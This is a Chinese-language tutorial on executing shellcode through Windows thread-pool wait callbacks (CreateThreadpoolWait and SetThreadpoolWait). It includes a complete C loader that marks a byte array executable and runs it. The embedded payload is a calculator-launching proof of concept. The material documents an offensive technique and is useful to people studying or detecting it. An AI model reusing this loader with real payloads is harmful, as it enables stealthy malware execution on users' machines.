4-创建线程池注入(CreateThreadpoolWait Injection)
一、前言
利用线程池实现shellcode注入,主要依赖到两个Windows API,分别是 CreateThreadpoolWait
和 SetThreadpoolWait
函数。
CreateThreadpoolWait
用于创建一个线程池等待对象,线程池等待指定的对象变为有信号状态时,会执行特定的回调函数。
SetThreadpoolWait
函数用于在线程池中添加等待对象。当等待的指定的对象(如事件、信号量等)变为有信号状态时,线程池会调用与等待对象关联的回调函数。
回调函数:是一种编程机制,可以将函数指针作为传递的参数,在特定事件发生(即处于有信号状态时)时被调用,允许动态指定执行行为。
二、流程
使用
VirtualProtect
修改shellcode所在内存的保护属性为可读、可写、可执行。官方文档:VirtualProtect 函数 (memoryapi.h) - Win32 apps | Microsoft Learn使用
CreateEventA
创建一个事件对象,初始状态为有信号状态,使用默认安全属性,非手动重置,无名称。官方文档:CreateEventA 函数 (synchapi.h) - Win32 apps | Microsoft Learn使用
CreateThreadpoolWait
创建一个线程池等待对象,关联到shellcode作为回调函数,回调函数参数和线程池环境为NULL。官方文档:createThreadpoolWait 函数 (threadpoolapiset.h) - Win32 apps | Microsoft Learn使用
SetThreadpoolWait
将等待对象添加到线程池中,当事件对象event触发(变为有信号状态)时,线程池会调用与threadPoolWait关联的回调函数。官方文档:SetThreadpoolWait 函数 (threadpoolapiset.h) - Win32 apps | Microsoft Learn使用
WaitForSingleObject
等待事件对象event变为无信号状态(表示shellcode执行完毕)。官方文档:WaitForSingleObject 函数 (synchapi.h) - Win32 apps | Microsoft Learn
三、代码实现
#include <stdio.h>
#include <Windows.h>
int main() {
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
// 定义一个DWORD变量,用于存储原始内存保护属性
DWORD oldProtect;
// 修改shellcode所在内存的保护属性为可读、可写、可执行
VirtualProtect((LPVOID)shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
// 创建一个事件对象,初始状态为有信号状态,使用默认安全属性,非手动重置,无名称
HANDLE event = CreateEventA(NULL, FALSE, TRUE, NULL);
// 创建一个线程池等待对象,关联到shellcode作为回调函数,回调函数参数和线程池环境为NULL
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)shellcode, NULL, NULL);
// 将等待对象添加到线程池中,当事件对象event触发(变为有信号状态)时,线程池会调用与threadPoolWait关联的回调函数
SetThreadpoolWait(threadPoolWait, event, NULL);
// 等待事件对象变为无信号状态(表示shellcode执行完毕),无限等待
WaitForSingleObject(event, INFINITE);
}

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